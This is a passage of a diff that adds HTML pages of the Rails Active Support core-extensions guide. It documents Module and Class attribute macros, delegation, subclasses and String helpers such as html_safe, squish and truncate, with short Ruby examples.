+  attr_internal :log_level
+end
+
+# client code
+class MyCrawler &lt; ThirdPartyLibrary::Crawler
+  attr_accessor :log_level
+end
+</pre>
+</div>
+</notextile>
+
+<p>In the previous example it could be the case that <tt>:log_level</tt> does not belong to the public interface of the library and it is only used for development. The client code, unaware of the potential conflict, subclasses and defines its own <tt>:log_level</tt>. Thanks to <tt>attr_internal</tt> there&#8217;s no collision.</p>
+<p>By default the internal instance variable is named with a leading underscore, <tt>@_log_level</tt> in the example above. That&#8217;s configurable via <tt>Module.attr_internal_naming_format</tt> though, you can pass any <tt>sprintf</tt>-like format string with a leading <tt>@</tt> and a <tt>%s</tt> somewhere, which is where the name will be placed. The default is <tt>"@_%s"</tt>.</p>
+<p>Rails uses internal attributes in a few spots, for examples for views:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module ActionView
+  class Base
+    attr_internal :captures
+    attr_internal :request, :layout
+    attr_internal :controller, :template
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/module/attr_internal.rb</tt>.</p></div>
+<h5 id="module-attributes">3.2.4 Module Attributes</h5>
+<p>The macros <tt>mattr_reader</tt>, <tt>mattr_writer</tt>, and <tt>mattr_accessor</tt> are analogous to the <tt>cattr_*</tt> macros defined for class. Check <a href="#class-attributes">Class Attributes</a>.</p>
+<p>For example, the dependencies mechanism uses them:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module ActiveSupport
+  module Dependencies
+    mattr_accessor :warnings_on_first_load
+    mattr_accessor :history
+    mattr_accessor :loaded
+    mattr_accessor :mechanism
+    mattr_accessor :load_paths
+    mattr_accessor :load_once_paths
+    mattr_accessor :autoloaded_constants
+    mattr_accessor :explicitly_unloadable_constants
+    mattr_accessor :logger
+    mattr_accessor :log_activity
+    mattr_accessor :constant_watch_stack
+    mattr_accessor :constant_watch_stack_mutex
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/module/attribute_accessors.rb</tt>.</p></div>
+<h4 id="parents">3.3 Parents</h4>
+<h5 id="parent">3.3.1 <tt>parent</tt></h5>
+<p>The <tt>parent</tt> method on a nested named module returns the module that contains its corresponding constant:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module X
+  module Y
+    module Z
+    end
+  end
+end
+M = X::Y::Z
+
+X::Y::Z.parent # =&gt; X::Y
+M.parent       # =&gt; X::Y
+</pre>
+</div>
+</notextile>
+
+<p>If the module is anonymous or belongs to the top-level, <tt>parent</tt> returns <tt>Object</tt>.</p>
+<div class='warning'><p>Note that in that case <tt>parent_name</tt> returns <tt>nil</tt>.</p></div>
+<div class='note'><p>Defined in <tt>active_support/core_ext/module/introspection.rb</tt>.</p></div>
+<h5 id="parent_name">3.3.2 <tt>parent_name</tt></h5>
+<p>The <tt>parent_name</tt> method on a nested named module returns the fully-qualified name of the module that contains its corresponding constant:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module X
+  module Y
+    module Z
+    end
+  end
+end
+M = X::Y::Z
+
+X::Y::Z.parent_name # =&gt; &quot;X::Y&quot;
+M.parent_name       # =&gt; &quot;X::Y&quot;
+</pre>
+</div>
+</notextile>
+
+<p>For top-level or anonymous modules <tt>parent_name</tt> returns <tt>nil</tt>.</p>
+<div class='warning'><p>Note that in that case <tt>parent</tt> returns <tt>Object</tt>.</p></div>
+<div class='note'><p>Defined in <tt>active_support/core_ext/module/introspection.rb</tt>.</p></div>
+<h5 id="module-parents">3.3.3 <tt>parents</tt></h5>
+<p>The method <tt>parents</tt> calls <tt>parent</tt> on the receiver and upwards until <tt>Object</tt> is reached. The chain is returned in an array, from bottom to top:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module X
+  module Y
+    module Z
+    end
+  end
+end
+M = X::Y::Z
+
+X::Y::Z.parents # =&gt; [X::Y, X, Object]
+M.parents       # =&gt; [X::Y, X, Object]
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/module/introspection.rb</tt>.</p></div>
+<h4 id="constants">3.4 Constants</h4>
+<p>The method <tt>local_constants</tt> returns the names of the constants that have been defined in the receiver module:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module X
+  X1 = 1
+  X2 = 2
+  module Y
+    Y1 = :y1
+    X1 = :overrides_X1_above
+  end
+end
+
+X.local_constants    # =&gt; [&quot;X2&quot;, &quot;X1&quot;, &quot;Y&quot;], assumes Ruby 1.8
+X::Y.local_constants # =&gt; [&quot;X1&quot;, &quot;Y1&quot;], assumes Ruby 1.8
+</pre>
+</div>
+</notextile>
+
+<p>The names are returned as strings in Ruby 1.8, and as symbols in Ruby 1.9. The method <tt>local_constant_names</tt> returns always strings.</p>
+<div class='warning'><p>This method is exact if running under Ruby 1.9. In previous versions it may miss some constants if their value in some ancestor stores the exact same object than in the receiver.</p></div>
+<div class='note'><p>Defined in <tt>active_support/core_ext/module/introspection.rb</tt>.</p></div>
+<h4 id="synchronization">3.5 Synchronization</h4>
+<p>The <tt>synchronize</tt> macro declares a method to be synchronized:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Counter
+  @@mutex = Mutex.new
+  attr_reader :value
+
+  def initialize
+    @value = 0
+  end
+
+  def incr
+    @value += 1 # non-atomic
+  end
+  synchronize :incr, :with =&gt; '@@mutex'
+end
+</pre>
+</div>
+</notextile>
+
+<p>The method receives the name of an action, and a <tt>:with</tt> option with code. The code is evaluated in the context of the receiver each time the method is invoked, and it should evaluate to a <tt>Mutex</tt> instance or any other object that responds to <tt>synchronize</tt> and accepts a block.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/module/synchronization.rb</tt>.</p></div>
+<h4 id="reachable">3.6 Reachable</h4>
+<p>A named module is reachable if it is stored in its corresponding constant. It means you can reach the module object via the constant.</p>
+<p>That is what ordinarily happens, if a module is called &#8220;M&#8221;, the <tt>M</tt> constant exists and holds it:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module M
+end
+
+M.reachable? # =&gt; true
+</pre>
+</div>
+</notextile>
+
+<p>But since constants and modules are indeed kind of decoupled, module objects can become unreachable:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module M
+end
+
+orphan = Object.send(:remove_const, :M)
+
+# The module object is orphan now but it still has a name.
+orphan.name # =&gt; &quot;M&quot;
+
+# You cannot reach it via the constant M because it does not even exist.
+orphan.reachable? # =&gt; false
+
+# Let's define a module called &quot;M&quot; again.
+module M
+end
+
+# The constant M exists now again, and it stores a module
+# object called &quot;M&quot;, but it is a new instance.
+orphan.reachable? # =&gt; false
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/module/reachable.rb</tt>.</p></div>
+<h4 id="anonymous">3.7 Anonymous</h4>
+<p>A module may or may not have a name:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module M
+end
+M.name # =&gt; &quot;M&quot;
+
+N = Module.new
+N.name # =&gt; &quot;N&quot;
+
+Module.new.name # =&gt; &quot;&quot; in 1.8, nil in 1.9
+</pre>
+</div>
+</notextile>
+
+<p>You can check whether a module has a name with the predicate <tt>anonymous?</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module M
+end
+M.anonymous? # =&gt; false
+
+Module.new.anonymous? # =&gt; true
+</pre>
+</div>
+</notextile>
+
+<p>Note that being unreachable does not imply being anonymous:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module M
+end
+
+m = Object.send(:remove_const, :M)
+
+m.reachable? # =&gt; false
+m.anonymous? # =&gt; false
+</pre>
+</div>
+</notextile>
+
+<p>though an anonymous module is unreachable by definition.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/module/anonymous.rb</tt>.</p></div>
+<h4 id="method-delegation">3.8 Method Delegation</h4>
+<p>The macro <tt>delegate</tt> offers an easy way to forward methods.</p>
+<p>Let&#8217;s imagine that users in some application have login information in the <tt>User</tt> model but name and other data in a separate <tt>Profile</tt> model:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class User &lt; ActiveRecord::Base
+  has_one :profile
+end
+</pre>
+</div>
+</notextile>
+
+<p>With that configuration you get a user&#8217;s name via his profile, <tt>user.profile.name</tt>, but it could be handy to still be able to access such attribute directly:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class User &lt; ActiveRecord::Base
+  has_one :profile
+
+  def name
+    profile.name
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>That is what <tt>delegate</tt> does for you:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class User &lt; ActiveRecord::Base
+  has_one :profile
+
+  delegate :name, :to =&gt; :profile
+end
+</pre>
+</div>
+</notextile>
+
+<p>It is shorter, and the intention more obvious.</p>
+<p>The macro accepts several methods:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+delegate :name, :age, :address, :twitter, :to =&gt; :profile
+</pre>
+</div>
+</notextile>
+
+<p>When interpolated into a string, the <tt>:to</tt> option should become an expression that evaluates to the object the method is delegated to. Typically a string or symbol. Such a expression is evaluated in the context of the receiver:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# delegates to the Rails constant
+delegate :logger, :to =&gt; :Rails
+
+# delegates to the receiver's class
+delegate :table_name, :to =&gt; 'self.class'
+</pre>
+</div>
+</notextile>
+
+<div class='warning'><p>If the <tt>:prefix</tt> option is <tt>true</tt> this is less generic, see below.</p></div>
+<p>By default, if the delegation raises <tt>NoMethodError</tt> and the target is <tt>nil</tt> the exception is propagated. You can ask that <tt>nil</tt> is returned instead with the <tt>:allow_nil</tt> option:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+delegate :name, :to =&gt; :profile, :allow_nil =&gt; true
+</pre>
+</div>
+</notextile>
+
+<p>With <tt>:allow_nil</tt> the call <tt>user.name</tt> returns <tt>nil</tt> if the user has no profile.</p>
+<p>The option <tt>:prefix</tt> adds a prefix to the name of the generated method. This may be handy for example to get a better name:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+delegate :street, :to =&gt; :address, :prefix =&gt; true
+</pre>
+</div>
+</notextile>
+
+<p>The previous example generates <tt>address_street</tt> rather than <tt>street</tt>.</p>
+<div class='warning'><p>Since in this case the name of the generated method is composed of the target object and target method names, the <tt>:to</tt> option must be a method name.</p></div>
+<p>A custom prefix may also be configured:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+delegate :size, :to =&gt; :attachment, :prefix =&gt; :avatar
+</pre>
+</div>
+</notextile>
+
+<p>In the previous example the macro generates <tt>avatar_size</tt> rather than <tt>size</tt>.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/module/delegation.rb</tt></p></div>
+<h4 id="method-names">3.9 Method Names</h4>
+<p>The builtin methods <tt>instance_methods</tt> and <tt>methods</tt> return method names as strings or symbols depending on the Ruby version. Active Support defines <tt>instance_method_names</tt> and <tt>method_names</tt> to be equivalent to them, respectively, but always getting strings back.</p>
+<p>For example, <tt>ActionView::Helpers::FormBuilder</tt> knows this array difference is going to work no matter the Ruby version:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+self.field_helpers = (FormHelper.instance_method_names - ['form_for'])
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/module/method_names.rb</tt></p></div>
+<h4 id="redefining-methods">3.10 Redefining Methods</h4>
+<p>There are cases where you need to define a method with <tt>define_method</tt>, but don&#8217;t know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either.</p>
+<p>The method <tt>redefine_method</tt> prevents such a potential warning, removing the existing method before if needed. Rails uses it in a few places, for instance when it generates an association&#8217;s <span class="caps">API</span>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+redefine_method(&quot;#{reflection.name}=&quot;) do |new_value|
+  association = association_instance_get(reflection.name)
+
+  if association.nil? || association.target != new_value
+    association = association_proxy_class.new(self, reflection)
+  end
+
+  association.replace(new_value)
+  association_instance_set(reflection.name, new_value.nil? ? nil : association)
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/module/remove_method.rb</tt></p></div>
+<h3 id="extensions-to-class">4 Extensions to <tt>Class</tt></h3>
+<h4 id="class-attributes">4.1 Class Attributes</h4>
+<h5 id="class_attribute">4.1.1 <tt>class_attribute</tt></h5>
+<p>The method <tt>class_attribute</tt> declares one or more inheritable class attributes that can be overridden at any level down the hierarchy:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class A
+  class_attribute :x
+end
+
+class B &lt; A; end
+
+class C &lt; B; end
+
+A.x = :a
+B.x # =&gt; :a
+C.x # =&gt; :a
+
+B.x = :b
+A.x # =&gt; :a
+C.x # =&gt; :b
+
+C.x = :c
+A.x # =&gt; :a
+B.x # =&gt; :b
+</pre>
+</div>
+</notextile>
+
+<p>For example <tt>ActionMailer::Base</tt> defines:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class_attribute :default_params
+self.default_params = {
+  :mime_version =&gt; &quot;1.0&quot;,
+  :charset      =&gt; &quot;UTF-8&quot;,
+  :content_type =&gt; &quot;text/plain&quot;,
+  :parts_order  =&gt; [ &quot;text/plain&quot;, &quot;text/enriched&quot;, &quot;text/html&quot; ]
+}.freeze
+</pre>
+</div>
+</notextile>
+
+<p>They can be also accessed and overridden at the instance level:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+A.x = 1
+
+a1 = A.new
+a2 = A.new
+a2.x = 2
+
+a1.x # =&gt; 1, comes from A
+a2.x # =&gt; 2, overridden in a2
+</pre>
+</div>
+</notextile>
+
+<p>The generation of the writer instance method can be prevented by setting the option <tt>:instance_writer</tt> to false, as in</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module AcitveRecord
+  class Base
+    class_attribute :table_name_prefix, :instance_writer =&gt; false
+    self.table_name_prefix = &quot;&quot;
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>A model may find that option useful as a way to prevent mass-assignment from setting the attribute.</p>
+<p>For convenience <tt>class_attribute</tt> defines also an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called <tt>x?</tt>.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/class/attribute.rb</tt></p></div>
+<h5 id="cattr_reader-cattr_writer-and-cattr_accessor">4.1.2 <tt>cattr_reader</tt>, <tt>cattr_writer</tt>, and <tt>cattr_accessor</tt></h5>
+<p>The macros <tt>cattr_reader</tt>, <tt>cattr_writer</tt>, and <tt>cattr_accessor</tt> are analogous to their <tt>attr_*</tt> counterparts but for classes. They initialize a class variable to <tt>nil</tt> unless it already exists, and generate the corresponding class methods to access it:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class MysqlAdapter &lt; AbstractAdapter
+  # Generates class methods to access @@emulate_booleans.
+  cattr_accessor :emulate_booleans
+  self.emulate_booleans = true
+end
+</pre>
+</div>
+</notextile>
+
+<p>Instance methods are created as well for convenience, they are just proxies to the class attribute. So, instances can change the class attribute, but cannot override it as it happens with <tt>class_attribute</tt> (see above). For example given</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module ActionView
+  class Base
+    cattr_accessor :field_error_proc
+    @@field_error_proc = Proc.new{ ... }
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>we can access <tt>field_error_proc</tt> in views. The generation of the writer instance method can be prevented by setting <tt>:instance_writer</tt> to <tt>false</tt> (not any false value, but exactly <tt>false</tt>):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module ActiveRecord
+  class Base
+    # No pluralize_table_names= instance writer is generated.
+    cattr_accessor :pluralize_table_names, :instance_writer =&gt; false
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>A model may find that option useful as a way to prevent mass-assignment from setting the attribute.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/class/attribute_accessors.rb</tt>.</p></div>
+<h4 id="class-inheritable-attributes">4.2 Class Inheritable Attributes</h4>
+<p>Class variables are shared down the inheritance tree. Class instance variables are not shared, but they are not inherited either. The macros <tt>class_inheritable_reader</tt>, <tt>class_inheritable_writer</tt>, and <tt>class_inheritable_accessor</tt> provide accessors for class-level data which is inherited but not shared with children:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module ActionController
+  class Base
+    # FIXME: REVISE/SIMPLIFY THIS COMMENT.
+    # The value of allow_forgery_protection is inherited,
+    # but its value in a particular class does not affect
+    # the value in the rest of the controllers hierarchy.
+    class_inheritable_accessor :allow_forgery_protection
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>They accomplish this with class instance variables and cloning on subclassing, there are no class variables involved. Cloning is performed with <tt>dup</tt> as long as the value is duplicable.</p>
+<p>There are some variants specialised in arrays and hashes:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class_inheritable_array
+class_inheritable_hash
+</pre>
+</div>
+</notextile>
+
+<p>Those writers take any inherited array or hash into account and extend them rather than overwrite them.</p>
+<p>As with vanilla class attribute accessors these macros create convenience instance methods for reading and writing. The generation of the writer instance method can be prevented setting <tt>:instance_writer</tt> to <tt>false</tt> (not any false value, but exactly <tt>false</tt>):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module ActiveRecord
+  class Base
+    class_inheritable_accessor :default_scoping, :instance_writer =&gt; false
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Since values are copied when a subclass is defined, if the base class changes the attribute after that, the subclass does not see the new value. That&#8217;s the point.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/class/inheritable_attributes.rb</tt>.</p></div>
+<h4 id="subclasses-descendants">4.3 Subclasses &amp; Descendants</h4>
+<h5 id="subclasses">4.3.1 <tt>subclasses</tt></h5>
+<p>The <tt>subclasses</tt> method returns the subclasses of the receiver:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class C; end
+C.subclasses # =&gt; []
+
+class B &lt; C; end
+C.subclasses # =&gt; [B]
+
+class A &lt; B; end
+C.subclasses # =&gt; [B]
+
+class D &lt; C; end
+C.subclasses # =&gt; [B, D]
+</pre>
+</div>
+</notextile>
+
+<p>The order in which these classes are returned is unspecified.</p>
+<div class='warning'><p>This method is redefined in some Rails core classes but should be all compatible in Rails 3.1.</p></div>
+<div class='note'><p>Defined in <tt>active_support/core_ext/class/subclasses.rb</tt>.</p></div>
+<h5 id="descendants">4.3.2 <tt>descendants</tt></h5>
+<p>The <tt>descendants</tt> method returns all classes that are <tt>&lt;</tt> than its receiver:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class C; end
+C.descendants # =&gt; []
+
+class B &lt; C; end
+C.descendants # =&gt; [B]
+
+class A &lt; B; end
+C.descendants # =&gt; [B, A]
+
+class D &lt; C; end
+C.descendants # =&gt; [B, A, D]
+</pre>
+</div>
+</notextile>
+
+<p>The order in which these classes are returned is unspecified.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/class/subclasses.rb</tt>.</p></div>
+<h3 id="extensions-to-string">5 Extensions to <tt>String</tt></h3>
+<h4 id="output-safety">5.1 Output Safety</h4>
+<p>Inserting data into <span class="caps">HTML</span> templates needs extra care. For example you can&#8217;t just interpolate <tt>@review.title</tt> verbatim into an <span class="caps">HTML</span> page. On one hand if the review title is &#8220;Flanagan &amp; Matz rules!&#8221; the output won&#8217;t be well-formed because an ampersand has to be escaped as &#8220;&amp;amp;&#8221;. On the other hand, depending on the application that may be a big security hole because users can inject malicious <span class="caps">HTML</span> setting a hand-crafted review title. Check out the <a href="security.html#cross-site-scripting-xss">section about cross-site scripting in the Security guide</a> for further information about the risks.</p>
+<p>Active Support has the concept of <i>(html) safe</i> strings since Rails 3. A safe string is one that is marked as being insertable into <span class="caps">HTML</span> as is. It is trusted, no matter whether it has been escaped or not.</p>
+<p>Strings are considered to be <i>unsafe</i> by default:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;&quot;.html_safe? # =&gt; false
+</pre>
+</div>
+</notextile>
+
+<p>You can obtain a safe string from a given one with the <tt>html_safe</tt> method:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+s = &quot;&quot;.html_safe
+s.html_safe? # =&gt; true
+</pre>
+</div>
+</notextile>
+
+<p>It is important to understand that <tt>html_safe</tt> performs no escaping whatsoever, it is just an assertion:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+s = &quot;&lt;script&gt;...&lt;/script&gt;&quot;.html_safe
+s.html_safe? # =&gt; true
+s            # =&gt; &quot;&lt;script&gt;...&lt;/script&gt;&quot;
+</pre>
+</div>
+</notextile>
+
+<p>It is your responsibility to ensure calling <tt>html_safe</tt> on a particular string is fine.</p>
+<div class='note'><p>For performance reasons safe strings are implemented in a way that cannot offer an in-place <tt>html_safe!</tt> variant.</p></div>
+<p>If you append onto a safe string, either in-place with <tt>concat</tt>/<tt>&lt;&lt;</tt>, or with <tt>+</tt>, the result is a safe string. Unsafe arguments are escaped:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;&quot;.html_safe + &quot;&lt;&quot; # =&gt; &quot;&amp;lt;&quot;
+</pre>
+</div>
+</notextile>
+
+<p>Safe arguments are directly appended:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;&quot;.html_safe + &quot;&lt;&quot;.html_safe # =&gt; &quot;&lt;&quot;
+</pre>
+</div>
+</notextile>
+
+<p>These methods should not be used in ordinary views. In Rails 3 unsafe values are automatically escaped:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= @review.title %&gt; &lt;%# fine in Rails 3, escaped if needed %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>To insert something verbatim use the <tt>raw</tt> helper rather than calling <tt>html_safe</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= raw @cms.current_template %&gt; &lt;%# inserts @cms.current_template as is %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>raw</tt> helper calls <tt>html_safe</tt> for you:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def raw(stringish)
+  stringish.to_s.html_safe
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/output_safety.rb</tt>.</p></div>
+<h4 id="squish">5.2 <tt>squish</tt></h4>
+<p>The method <tt>String#squish</tt> strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot; \n  foo\n\r \t bar \n&quot;.squish # =&gt; &quot;foo bar&quot;
+</pre>
+</div>
+</notextile>
+
+<p>There&#8217;s also the destructive version <tt>String#squish!</tt>.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/filters.rb</tt>.</p></div>
+<h4 id="truncate">5.3 <tt>truncate</tt></h4>
+<p>The method <tt>truncate</tt> returns a copy of its receiver truncated after a given <tt>length</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;Oh dear! Oh dear! I shall be late!&quot;.truncate(20)
+# =&gt; &quot;Oh dear! Oh dear!...&quot;
+</pre>
+</div>
+</notextile>
+
+<p>Ellipsis can be customized with the <tt>:omission</tt> option:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;Oh dear! Oh dear! I shall be late!&quot;.truncate(20, :omission =&gt; '&amp;hellip;')
+# =&gt; &quot;Oh dear! Oh &amp;hellip;&quot;
+</pre>
+</div>
+</notextile>
+
+<p>Note in particular that truncation takes into account the length of the omission string.</p>
+<p>Pass a <tt>:separator</tt> to truncate the string at a natural break:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;Oh dear! Oh dear! I shall be late!&quot;.truncate(18)
+# =&gt; &quot;Oh dear! Oh dea...&quot;
+&quot;Oh dear! Oh dear! I shall be late!&quot;.truncate(18, :separator =&gt; ' ')
+# =&gt; &quot;Oh dear! Oh...&quot;
+</pre>
+</div>
+</notextile>
+
+<p>In the above example &#8220;dear&#8221; gets cut first, but then <tt>:separator</tt> prevents it.</p>
+<div class='warning'><p>The option <tt>:separator</tt> can&#8217;t be a regexp.</p></div>
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/filters.rb</tt>.</p></div>
+<h4 id="key-based-interpolation">5.4 Key-based Interpolation</h4>
+<p>In Ruby 1.9 the <tt>%</tt> string operator supports key-based interpolation, both formatted and unformatted:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;Total is %&lt;total&gt;.02f&quot; % {:total =&gt; 43.1}  # =&gt; Total is 43.10
+&quot;I say %{foo}&quot; % {:foo =&gt; &quot;wadus&quot;}          # =&gt; &quot;I say wadus&quot;
+&quot;I say %{woo}&quot; % {:foo =&gt; &quot;wadus&quot;}          # =&gt; KeyError
+</pre>
+</div>
+</notextile>
+
+<p>Active Support adds that functionality to <tt>%</tt> in previous versions of Ruby.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/interpolation.rb</tt>.</p></div>
+<h4 id="starts_with-and-ends_width">5.5 <tt>starts_with?</tt> and <tt>ends_width?</tt></h4>
+<p>Active Support defines 3rd person aliases of <tt>String#start_with?</tt> and <tt>String#end_with?</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;foo&quot;.starts_with?(&quot;f&quot;) # =&gt; true
+&quot;foo&quot;.ends_with?(&quot;o&quot;)   # =&gt; true
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/starts_ends_with.rb</tt>.</p></div>
+<h4 id="strip_heredoc">5.6 <tt>strip_heredoc</tt></h4>
+<p>The method <tt>strip_heredoc</tt> strips indentation in heredocs.</p>
+<p>For example in</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+if options[:usage]
+  puts &lt;&lt;-USAGE.strip_heredoc
+    This command does such and such.
+
+    Supported options are:
+      -h         This message
+      ...
+  USAGE
+end
+</pre>
+</div>
+</notextile>
+
+<p>the user would see the usage message aligned against the left margin.</p>
+<p>Technically, it looks for the least indented line in the whole string, and removes
+that amount of leading whitespace.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/strip.rb</tt>.</p></div>
+<h4 id="access">5.7 Access</h4>
+<h5 id="at-position">5.7.1 <tt>at(position)</tt></h5>
+<p>Returns the character of the string at position <tt>position</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;hello&quot;.at(0)  # =&gt; &quot;h&quot;
+&quot;hello&quot;.at(4)  # =&gt; &quot;o&quot;
+&quot;hello&quot;.at(-1) # =&gt; &quot;o&quot;
+&quot;hello&quot;.at(10) # =&gt; ERROR if &lt; 1.9, nil in 1.9
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/access.rb</tt>.</p></div>
+<h5 id="from-position">5.7.2 <tt>from(position)</tt></h5>
+<p>Returns the substring of the string starting at position <tt>position</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;hello&quot;.from(0)  # =&gt; &quot;hello&quot;
+&quot;hello&quot;.from(2)  # =&gt; &quot;llo&quot;
+&quot;hello&quot;.from(-2) # =&gt; &quot;lo&quot;
+&quot;hello&quot;.from(10) # =&gt; &quot;&quot; if &lt; 1.9, nil in 1.9
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/access.rb</tt>.</p></div>
+<h5 id="to-position">5.7.3 <tt>to(position)</tt></h5>
+<p>Returns the substring of the string up to position <tt>position</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;hello&quot;.to(0)  # =&gt; &quot;h&quot;
+&quot;hello&quot;.to(2)  # =&gt; &quot;hel&quot;
+&quot;hello&quot;.to(-2) # =&gt; &quot;hell&quot;
+&quot;hello&quot;.to(10) # =&gt; &quot;hello&quot;
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/access.rb</tt>.</p></div>
